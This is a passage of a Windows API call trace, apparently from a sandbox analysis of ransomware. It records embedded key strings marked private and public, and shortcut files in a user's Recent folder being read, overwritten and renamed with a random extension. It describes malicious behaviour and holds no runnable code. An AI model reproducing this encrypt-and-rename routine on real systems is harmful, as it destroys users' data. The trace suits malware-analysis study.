QGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0081.384] GetCurrentThreadId () returned 0xa30 [0081.384] GetCurrentThreadId () returned 0xa30 [0081.384] GetCurrentThreadId () returned 0xa30 [0081.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.385] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.385] GetCurrentThreadId () returned 0xa30 [0081.385] GetCurrentThreadId () returned 0xa30 [0081.385] GetCurrentThreadId () returned 0xa30 [0081.385] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fdo1k2CX.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fdo1k2cx.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.385] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.386] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.386] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x239 [0081.386] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.386] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x239, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x239, lpOverlapped=0x0) returned 1 [0081.387] CloseHandle (hObject=0x124) returned 1 [0081.387] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fdo1k2CX.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fdo1k2cx.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.389] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x239, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x239, lpOverlapped=0x0) returned 1 [0081.390] CloseHandle (hObject=0x124) returned 1 [0081.392] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fdo1k2CX.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fdo1k2cx.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fdo1k2CX.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fdo1k2cx.lnk.zv7un")) returned 1 [0081.393] GetCurrentThreadId () returned 0xa30 [0081.393] GetCurrentThreadId () returned 0xa30 [0081.393] GetCurrentThreadId () returned 0xa30 [0081.393] GetCurrentThreadId () returned 0xa30 [0081.393] GetCurrentThreadId () returned 0xa30 [0081.393] GetCurrentThreadId () returned 0xa30 [0081.393] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfe98800, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfe98800, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfe98800, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="FfW70azs-Ha7.lnk", cAlternateFileName="FFW70A~1.LNK")) returned 1 [0081.393] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.393] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.393] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FfW70azs-Ha7.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ffw70azs-ha7.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfe98800, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdfe98800, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdfe98800, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3fc)) returned 1 [0081.393] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FfW70azs-Ha7.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ffw70azs-ha7.lnk")) returned 0x20 [0081.393] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FfW70azs-Ha7.lnk", dwFileAttributes=0x80) returned 1 [0081.395] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.395] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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